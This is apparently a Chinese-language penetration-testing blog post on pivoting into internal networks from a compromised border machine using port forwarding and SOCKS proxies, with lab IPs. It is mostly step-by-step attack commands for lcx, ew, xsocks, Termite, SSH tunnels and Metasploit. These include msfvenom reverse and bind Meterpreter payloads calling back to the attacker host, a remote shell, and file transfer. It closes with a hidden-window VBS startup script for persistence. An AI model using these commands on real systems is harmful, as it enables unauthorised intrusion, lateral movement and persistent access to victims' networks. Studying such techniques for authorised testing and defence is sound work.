在进入内网之后我们要做的第一件事就是通过端口转发与边界代理在我们的机器与内网机器之间建立通信通道为我们后续的内网渗透打下基础。前提是拿到边界机器的一定权限!
下文中所有用到的工具地址
本文主要以转发3389端口为例,当然Linux系统中3389端口并不是远程桌面下述如果提及仅是举个例子而已!端口转发只转发特定端口而socks代理则相当于对所有的端口进行了转发
网络拓扑
拓扑0
拓扑1
拓扑2
拓扑3
端口转发
lcx.exe/portmap
Usage1:本地端口转发
-
拓扑0
-
系统
-
命令
#受害者机器(IP:192.168.255.145)
## Windows
./lcx.exe -tran 3389 4444
##Linux
portmap -m 2 3389 4444
# 攻击者机器(IP:192.168.255.137)
## Linux
rdesktop 192.168.255.145:4444
## Window
mstsc.exe
Usage2:转发远程端口
- 拓扑1
- 系统
- 命令
#受害者机器(IP:10.0.0.4)
## Windows
./lcx.exe -slave 192.168.255.137 4444 10.0.0.4 3389
## Linux
./portmap -m 3 -h1 192.168.255.137 -p1 4444 -h2 10.0.0.4 -p2 3389
# 攻击者机器(IP:192.168.255.137)
## Linux
rdesktop 127.0.0.1:4444
## Window
mstsc.exe
系统自带
- 沿用上述拓扑
- 各机器终端命令
- 命令
# 边界机器(IP:192.168.255.145)
## Linux
echo '1' > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -d 192.168.255.145 -p tcp --dport 80 -j DNAT --to-destination 10.0.0.4:3389
##Windows
netsh interface ipv6 install #(不过在Windows XP/2003中使用上述命令时首先要使用如下命令安装IPv6扩展)
netsh interface portproxy set v4tov4 listenaddress=127.0.0.1 listenport=3333 connectaddress=10.0.0.4 connectport=3389
netsh interface portproxy show all
# 攻击者机器(IP:192.168.255.137)
## Linux
rdesktop 192.168.255.145:3389
## Window
mstsc.exe
socks代理
xsocks
Usage 1:正向socks代理,防火墙入站规则不严格,连接代理时不会被Block
- 沿用上述拓扑
- 各机器终端命令
3. 命令
#边界机器(IP:192.168.255.145)
## Linux
./xsocks -l 1080
## Windows
xsocks.exe -l 1080
#攻击者机器(IP:192.168.255.137)
## Linux
vi /etc/proxychains.conf #(修改最后一行为socks5 边界机器IP 1080)
proxychains bash
rdesktop 10.0.0.4:3389
## Window
proxifier.exe #(添加mstsc.exe规则)
Usage 2:反向socks代理,防火墙入站规则严格,连接代理时会被Block
- 沿用上述拓扑
- 各机器终端命令
3. 命令
#攻击者机器(IP:192.168.255.137)
## Linux
./xsocks -t -p1 1088 -p2 1080 #注意端口顺序,顺序不对容易失败
## Windows
xsocks.exe -t -p1 1088 -p2 1080 #注意端口顺序,顺序不对容易失败
#边界机器(IP:192.168.255.145)
## Linux
./xsocks -r 10.0.0.1:1088
## Windows
xsocks.exe -r 10.0.0.1:1088
#攻击者机器(IP:192.168.255.137)
## linux
vi /etc/proxychains.conf #(修改最后一行为socks5 127.0.0.1 1080)
proxychains bash
rdesktop 10.0.0.4:3389
## window
proxifier.exe #(添加mstsc.exe规则)
Usage 3:socks服务器重定向,穿透内网中的内网
-
网络拓扑如下所示:
-
各机器终端命令
3. 命令
#边界机器2(IP:10.0.2.129)
## Linux
./xsocks -l 1080
## Windows
xsocks.exe -l 1080
#攻击者机器(IP:192.168.255.137)
## Linux
./xsocks -t -p1 1088 -p2 1080 #注意端口顺序,顺序不对容易失败
## Windows
xsocks.exe -t -p1 1088 -p2 1080 #注意端口顺序,顺序不对容易失败
#边境机器1(IP:192.168.255.145)
## Linux
./xsocks -s 10.0.0.4:1080 -r 192.168.255.137:1088
## Windows
xsocks.exe -s 10.0.0.4:1080 -r 192.168.255.137:1088
#攻击者机器(IP:192.168.255.137)
## linux
vi /etc/proxychains.conf #(修改最后一行为socks5 127.0.0.1 1080)
proxychains bash
rdesktop 10.0.2.128:3389
## window
proxifier.exe #(添加mstsc.exe规则)
sSocks(主要用于Linux系统)
此工具功能和xsocks类似,但是我在尝试使用此工具时出现错误为此还是用xsocks吧
More Powerful
ew
可以说ew是lcx及sSocks的结合体,它综合了两者的特性,其中sScoks相关的模块主要用于开启正反向socks代理服务,lcx相关模块主要用于将例如socks等基于TCP的服务转发到内网边界。
Group1:sSocks相关模块
Usage1: 正向代理
- 拓扑1
- 各机器终端命令
3. 命令
#边界机器(IP:192.168.255.145)
## Linux
./ew -s ssocksd -l 1080
## Windows
ew.exe -s ssocked -l 1080
#攻击者机器(IP:192.168.255.137)
## Linux
vi /etc/proxychains.conf #(修改最后一行为socks5 边界机器IP 1080)
proxychains bash
rdesktop 10.0.0.4:3389
## Window
proxifier.exe #(添加mstsc.exe规则)
Usage2:反向代理
- 拓扑1
- 各机器终端命令
- 命令
#攻击者机器(IP:192.168.255.137)
## Linux
./ew -s rcsocks -l 1080 -e 1088
## Windows
ew.exe -s rcsocks -l 1080 -e 1088
#边界机器(IP:192.168.255.145)
## Linux
./ew -s rssocks -d 192.168.255.137 -e 1088
## Windows
ew.exe -s rssocks -d 192.168.255.137 -e 1088
#攻击者机器(IP:192.168.255.137)
## linux
vi /etc/proxychains.conf #(修改最后一行为socks5 127.0.0.1 1080)
proxychains bash
rdesktop 10.0.0.4:3389
## window
proxifier.exe #(添加mstsc.exe规则)
Group2:lcx相关模块
Usage1:转发本地端口
- 拓扑0
- 各机器终端命令
- 命令
#受害者机器(IP:192.168.255.145)
## Linux
./ew -s lcx_tran -l 4444 -f 127.0.0.1 -g 3389
## Windows
ew.exe -s lcx_tran -l 4444 -f 127.0.0.1 -g 3389
#攻击者机器(IP:192.168.255.137)
## Linux
rdesktop 192.168.255.145:4444
## Window
mstsc.exe
Usage2:正向远程端口转发
- 拓扑0
- 各机器终端命令
- 命令
#攻击者机器(IP:192.168.255.137)
## Linux
./ew -s lcx_tran -l 4444 -f 192.168.255.145 -g 3389
rdesktop 192.168.255.145:4444
## Windows
ew.exe -s lcx_tran -l 4444 -f 192.168.255.145 -g 3389
mstsc.exe
Usage3:反向远程端口转发
- 拓扑0
- 各机器终端命令
- 命令
#攻击者机器(IP:192.168.255.137)
## Linux
./ew -s lcx_listen -l 3389 -e 4444
## Windows
ew.exe -s lcx_slave -l 4444 -f 192.168.255.145 -g 3389
#受害者机器(IP:192.168.255.145)
## Linux
./ew -s lcx_slave -d 192.168.255.137 -e 4444 -f 127.0.0.1 -g 3389
## Windows
ew.exe -s lcx_slave -d 192.168.255.137 -e 4444 -f 127.0.0.1 -g 3389
#攻击者机器(IP:192.168.255.137)
## Linux
rdesktop 127.0.0.1:3389
## Windows
mstsc.exe
Usage4:反向远程端口跳转
- 拓扑1
- 各机器终端命令
- 命令
#攻击者机器(IP:192.168.255.137)
## Linux
./ew -s lcx_listen -l 3389 -e 4444
## Windows
ew.exe -s lcx_listen -l 3389 -e 4444
#边界机器(IP:192.168.255.145)
## Linux
./ew -s lcx_slave -d 192.168.255.137 -e 4444 -f 10.0.0.4 -g 3389
## Windows
ew.exe -s lcx_slave -l 4444 -d 192.168.255.137 -e 4444 -f 10.0.0.4 -g 3389
#攻击者机器(IP:192.168.255.137)
## Linux
rdesktop 127.0.0.1:4444
## Windows
mstsc.exe
Group3:综合使用
综合的使用sSocks及lcx两个功能模块效果更佳:》,这里只举一个例子
- 拓扑2
- 各机器终端命令
- 命令
#边界机器2(IP:10.0.2.129)
## Linux
./ew -s ssocksd -l 1080
## Windows
ew.exe -s ssocksd -l 1080
#攻击者机器(IP:192.168.255.137)
## Linux
./ew -s lcx_listen -l 1080 -e 4444
## Windows
ew.exe -s lcx_listen -l 1080 -e 4444
#边境机器1(IP:192.168.255.145)
## Linux
./ew -s lcx_slave -d 192.168.255.137 -e 4444 -f 10.0.0.4 -g 1080
## Windows
ew -s lcx_slave -d 192.168.255.137 -e 4444 -f 10.0.0.4 -g 1080
#攻击者机器(IP:192.168.255.137)
## linux
vi /etc/proxychains.conf #(修改最后一行为socks5 127.0.0.1 1080)
proxychains bash
rdesktop 10.0.2.128:3389
## window
proxifier.exe #(添加mstsc.exe规则)
Termite
Termite是后渗透主机管理工具代理及端口转发仅是其附属功能
Group1:代理管理命令
Termite管理代理机器的模式如上图所示即管理者通过admin端正向连接到agent端,各agent端之间可以通过正向连接和反向连接两种方式互相连接。
Usage1:admin端正向连接agent
- 拓扑1
- 各机器终端命令
- 命令
#边界机器1(IP:192.168.255.145)
## Linux
./agent -l 4444
## Windows
agent.exe -l 4444
#攻击者机器(IP:192.168.255.137)
## Linux
./admin -c 192.168.255.145 -p 4444
## Windows
admin.exxe -c 192.168.255.145 -p 4444
Usage2:agent端正向连接agent
在Usage1基础上
- 拓扑1
- 各机器终端命令
- 命令
#边界机器2(IP:10.0.0.4)
## Linux
./agent -l 4444
## Windows
agent.exe -l 4444
#攻击者机器(IP:192.168.255.137)
goto 1
connect 10.0.0.4 4444
Usage3:agent端反向连接agent
在Usage1的基础上
- 拓扑1
- 各机器终端命令
- 命令
#攻击者机器(IP:192.168.255.137)
goto 1
listen 4444
#(上述命令可选,在Usage1情况下不执行此条命令,只有通过反向连接到其他代理的代理机器想要其他机器进行反向连接时需要使用此命令)
#边界机器2(IP:10.0.0.4)
## Linux
./agent -c 10.0.0.2 -p 4444
## Windows
agent.exe -c 10.0.0.2 -p 4444
无论通过什么方式在各机器之间建立连接,连接建立后通道均相同。
Group2:代理命令
本节操作基于上节操作
Usage1:正向端口代理
- 拓扑1
- 各机器终端命令
- 命令
#边界机器2(IP:10.0.0.4)
## Linux
nc -lvp 6666
## Windows
nc.exe -lvp 6666
#攻击者机器(IP:192.168.255.137)
goto 1 #(goto到任意代理机器都可以)
lcxtran 6666 10.0.0.4 6666
## Linux
nc 127.0.0.1 6666
## Windows
nc.exe 127.0.0.1 6666
正向端口代理存在建立速度慢,3389转发异常(如下图所示)两个缺点,优点是转发端口对应的服务程序关闭后隧道仍然存在比如上述中nc关闭后再重新打开还是可以继续通信,并且可以多跳代理。
Usage2:反向端口转发
Termite实现的反向端口转发和其他的反向端口转发不一样,这里是正的反向端口转发,服务提供者竟然是攻击者。。。不知道作者是故意设计的这个功能还是理解错了反向端口转发这个意思,还是我理解错了这个功能。。。作者对于此功能的简要解释如下:
[20180814] ( Free 1.8 ) 增加反向隧道的功能(backtran指令,是lcxtran的镜像操作),将本地可达的一个地址端口,映射至agent的一个指定端口,在后渗透测试中可以用于构造反弹木马的上线隧道,或反向访问本地可达的任意TCP服务。
- 拓扑1
- 各机器终端命令
- 命令
#攻击者机器(IP:192.168.255.137)
goto 2 #(注意需要goto到反向代理的机器而不是跳板机,可以隔多跳)
backtran 7777 192.168.255.137 7777
## Linux
nc -lvp 7777
## Windows
nc.exe -lvp 7777
#边界机器2(IP:10.0.0.4)
## Linux
nc 127.0.0.1 7777
## Windows
nc.exe 127.0.0.1 7777
Usage3:socks代理
个人人为socks代理还是比较好用的,在想提供socks服务的代理机器上直接执行socks执行就可以通过本地相应端口访问提供服务的代理机器所处的内网环境。
- 拓扑2
- 各机器终端命令
- 命令
# 攻击者机器(IP:192.168.255.137)
goto 2
socks 1080
## linux
vi /etc/proxychains.conf #(修改最后一行为socks5 127.0.0.1 1080)
proxychains bash
rdesktop 10.0.2.128:3389
## window
proxifier.exe #(添加mstsc.exe规则)
Group3:shell
- 拓扑2
- 各机器终端命令
- 命令
# 攻击者机器(IP:192.168.255.137)
goto 3
shell 6666
## linux
nc 127.0.0.1 6666
## window
nc.exe 127.0.0.1 6666
支持重连即nc关闭后从新连接相应端口shell还在
Group4:文件操作
Usage1:上传文件
- 拓扑1
- 各机器终端命令
- 命令
# 攻击者机器(IP:192.168.255.137)
goto 2
upfile test test.txt
Usage2:下载文件
- 拓扑1
- 各机器终端命令
- 命令
# 攻击者机器(IP:192.168.255.137)
goto 2
downfile agent_win32.exe test.exe
其实总的来说还是不太稳定啊!如果开放源码就好了:<
msf
Group1:socks代理
- 拓扑2
- 各机器终端命令
- 命令
# 攻击者机器(IP:192.168.255.137)
msfvenom -platform windows -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.255.137 lport=4444 -f exe -o test.exe
msfvenom -platform windows -a x86 -p windows/meterpreter/bind_tcp lhost=10.0.0.4 lport=4444 -f exe -o test1.exe
#(这里为了方便直接使用msfvenom生成payload在受害者机器执行, 第一个payload是反向TCP为边界机器1准备,第二个payload是为边界机器2准备的,由于边界机器2无法反向连接攻击者主机所以只能选择bind_tcp即等待正向连接的payload)
msfconsole
#(进msfconsole)
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.255.137
set lport 4444
run
# 边界机器1(IP:192.168.255.145)
点击test.exe
# 边界机器2(IP:10.0.0.4)
点击test1.exe
# 攻击者机器(IP:192.168.255.137)
#(进入meterpreter)
run get_local_subnets #(查看此跳板机所连接的各个子网)
run post/multi/manage/autoroute #(这条命令很重要是为msf建立路由,注意是msf路由即msf这个框架中使用的路由与主机路由没有关系,后期的socks代理端口代理及其他模块的使用都会使用到msf框架路由)
background
set payload windows/meterpreter/bind_tcp
set rhost 10.0.0.4
set lport 4444
run
#(进入meterpreter)
run get_local_subnets
run post/multi/manage/autoroute
background
back
use auxilary/server/socks4a
set srvhost 127.0.0.1
exploit -j
## linux
#(在新终端中)
vi /etc/proxychains.conf #(修改最后一行为socks4 127.0.0.1 1080)
proxychains bash
rdesktop 10.0.0.4:3389
CTRL+C
rdesktop 10.0.2.128:3389
## window
proxifier.exe #(添加mstsc.exe规则)
Group2:端口转发
Usage1:正向连接
- 拓扑2
- 各机器终端命令
- 命令
# 攻击者机器(IP:192.168.255.137)
#(msfconsole上下文)
sessions -i 1
portfwd add -l 3389 -r 10.0.0.4 -p 3389
rdesktop 127.0.0.1:3389
建立10.0.2.128的3389端口转发时不成功,并且建立后隧道不可复用即断开后重新连接转发端口连接不成功后台服务消失,并且删除原来的隧道重新建立新的隧道也不成功:<
Usage2:反向连接
使用reverse_tcp这个payload时并未复现成功,问题如下。不是很鲁棒:< !!!
meterpreter > portfwd add -R -L 192.168.255.145 -l 5555 -p 6666
[-] Failed to create relay: A socket error occurred.
meterpreter > portfwd flush
但是观察攻击者主机的tcp连接建立情况可以推测出是运行于目标主机reverse_tcp这个payload的问题换一个payload试试,嗯确实成功不了:《
ssh
隧道建立命令:
ssh 选项 IP1:PORT1:IP2:PORT2 username@IP3
选项介绍:
- -R 反向隧道。默认情况下,-g选项及IP1指定在-R上下文中无效,远端仅绑定回环地址。需要将/etc/ssh/sshd_config配置文件中的GatewayPorts选项设置为True才可以对远端地址进行绑定。
- -L 正向隧道
- -g 开启网关功能即目标主机的所有网卡都会监听PORT1端口此时不用指定IP1即可,
- -N 创建隧道时不打开IP3的shell
- -f 后台运行隧道,与-N连用
- -C 压缩传输数据,会降低速度
- -q 安静模式
- -n 禁止隧道从stdin读入数据(其实就是讲stdin重定向到了/dev/null)
- -T 禁止开启伪终端
参数介绍
IP1 | IP2 | IP3 | 执行者 | |
---|---|---|---|---|
正向 | 目标主机 | 远程主机(相对于跳板机) | 跳板机 | 目标主机 |
反向 | 目标主机 | 远程主机(相对于跳板机) | 目标主机 | 跳板机 |
这里远程主机指得是提供服务的机器比如提供rdp(3389)服务的机器,目标主机代表的远程主机端口要转发到的主机。
正反向隧道建立过程中根据目标主机、远程主机及目标主机这三者随机组合(即是这三者哪些是在同一台机器上)及命令执行者不同可以出现如下图的几种情况
Group1: 正向端口转发(本地代理)
ssh通过ssh隧道提供的端口转发及socks代理与上述提到的工具不同。
Usage1:机器将一个端口转发到本地另一个端口,用于绕过端口过滤
目标主机、远程主机、跳板机为同一台机器
- 拓扑3
- 各机器终端命令
- 命令
# 边界机器(IP:192.168.255.143)
## linux
nc -lvp 3389
## window
nc.exe -lvp 3389
ssh -CfNg -L 4444:127.0.0.1:3389 domain_ubuntu@127.0.0.1
输入密码
# 攻击者机器(IP:192.168.255.137)
## linux
nc 127.0.0.1 4444
## window
nc.exe 127.0.0.1 4444
Usage2:远程端口正向隧道到边界机器
仅目标主机、跳板机为相同机器,即命令执行者是IP3机器
- 拓扑3
- 各机器终端命令
- 命令
# 边界机器(IP:192.168.255.143)
ssh -CfNg -L 5555:10.0.0.4:3389 domain_ubuntu@127.0.0.1
输入密码
# 攻击者机器(IP:192.168.255.137)
## linux
rdesktop 192.168.255.143:5555
## window
proxifier.exe #(添加mstsc.exe规则)
Usage3:将远程端口正向转发到攻击者主机
目标主机、跳板机,远程主机为不同机器,即命令执行者是IP1
- 拓扑3
- 各机器终端命令
- 命令
# 攻击者机器(IP:192.168.255.137)
ssh -CfNg -L 5555:10.0.0.4:3389 domain_ubuntu@192.168.255.143
输入密码
## linux
rdesktop 127.0.0.1:5555
## window
mstsc.exe
Group2: 反向端口转发(远程代理)
此例中反向连接攻击主机时(kali)出现Permission denied, please try again.的问题,只需要在/etc/ssh/sshd_config中添加PermitRootLogin no即可。
Usage1:边界机器端口反向转发到攻击者
仅跳板机,远程主机为相同机器
- 拓扑3
- 各机器终端命令
- 命令
# 边界机器(IP:192.168.255.143)
## linux
nc -lvp 5555
## window
nc.exe -lvp 5555
ssh -qCfNg -R 8888:127.0.0.1:5555 root@192.168.255.137
输入密码
# 攻击者机器(IP:192.168.255.137)
## linux
nc 127.0.0.1 8888
## window
nc.exe 127.0.0.1 8888
Usage2:边界机器将远程机器端口反向转发到攻击者
目标主机、跳板机,远程主机为不同机器
- 拓扑3
- 各机器终端命令
- 命令
# 边界机器(IP:192.168.255.143)
ssh -qCfNg -R 3389:10.0.0.4:3389 root@192.168.255.137
输入密码
# 攻击者机器(IP:192.168.255.137)
## linux
rdesktop 127.0.0.1:3389
## window
mstsc.exe
Group3:socks代理
Usage1:正向socks
- 拓扑3
- 各机器终端命令
- 命令
# 攻击者机器(IP:192.168.255.137)
ssh -fNg -D 1080 root@192.168.255.143
## linux
vi /etc/proxychains.conf #(修改最后一行为socks5 127.0.0.1 1080)
proxychains bash
rdesktop 10.0.0.4:3389
## window
proxifier.exe #(添加mstsc.exe规则)
Usage2:反向 socks
- 拓扑3
- 各机器终端命令
- 命令
# 边界机器(IP:192.168.255.143)
ssh -fNg -R 1080 root@192.168.255.137
# 攻击者机器(IP:192.168.255.137)
## linux
vi /etc/proxychains.conf #(修改最后一行为socks5 127.0.0.1 1080)
proxychains bash
rdesktop 10.0.0.4:3389
## window
proxifier.exe #(添加mstsc.exe规则)
低权限(Webshell权限)代理及转发工具
有时在进行渗透测试过程中你只可以获得低权限的shell比如你只可以上传Webshell,由于此时你接触不到系统的shell(cmd,bash等)那么上述所提工具就没法使用,不过总是有对策的不是!下面三款工具允许在攻击者在低权限情况下进行端口转发,由于这些工具通过复用http隧道进行转发或代理还具有一定的过防火墙功能。
Tunna
Tunna是这三款工具中年龄最小的,最近的一次modify是在4个月前(当前时间是2019/5/9),其提供了socks代理及指定端口转发功能,工具的详细信息可以参考其首页。
reGeorg
reGeorg是这三款工具中年龄居中的,最近的一次modify是在2年前(当前时间是2019/5/9),其只提供socks代理功能,工具的详细信息可以参考其首页。
reDuh
reDuh是这三款工具中年龄最老的,最近的一次modify是在7年前(当前时间是2019/5/9),其只提供socks代理功能,工具的开发者与reGeorg好像是一个团队,由于工具较老建议使用前面两者,工具的详细信息可以参考其首页。
HTTPTunnel
ABPTTS
总结
- 当然上述直接在边界机器执行带窗口的xsocks好像不太好我们可以通过VBS代码隐藏窗口,例如下述代码。把下述代码保存为vbs文件并置于机器的开机启动目录中,比如window7启动目录为C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup,但是不同版本开机启动目录不同,文件夹中可以使目标机器开机即启动
Dim WH
set WH = CreateObject("Wscript.shell")
WH.Run "xsocks.exe -l 1080",0,false
- 在上述众多情况中如果内网可以访问外网的话可以直接使用攻击主机代替边界机器。
- 上述工具中反向代理的命令形式都非常接近都需要在攻击端开启一个本地端口环路。
- socks代理是单向的即使用代理的机器可以主动连接到被代理内网内的机器但这些内网机器无法主动连接使用代理的机器。
- socks代理还是比端口转发好用一些
- 端口转发工具还是lcx及ew的lcx模块更加好用并且稳定一些
- 上述实现了socks代理的工具所提供的socks代理服务都还比较稳定
- 上述介绍的端口转发都是本机的回环回环通过服务程序与远程会话结合的过程(没时间画图了,这一片博客写死个人:>)
- Termite反向端口转发出现打破了我对反向端口转发认知,或者说Termite实现的反向端口转发是否可以称之为反向端口转发功能
- 其实上述工具别人都有介绍过,那么自己耗费了这么长时间重新写一遍有意义吗?我感觉当然有啦最起码实际应用了上述工具,了解了各工具的特性,可以抽象出各工具的工作原理,熟悉了网络环境,掌握了几乎所有现有的内网转发工具,为自己的工具开发提供灵感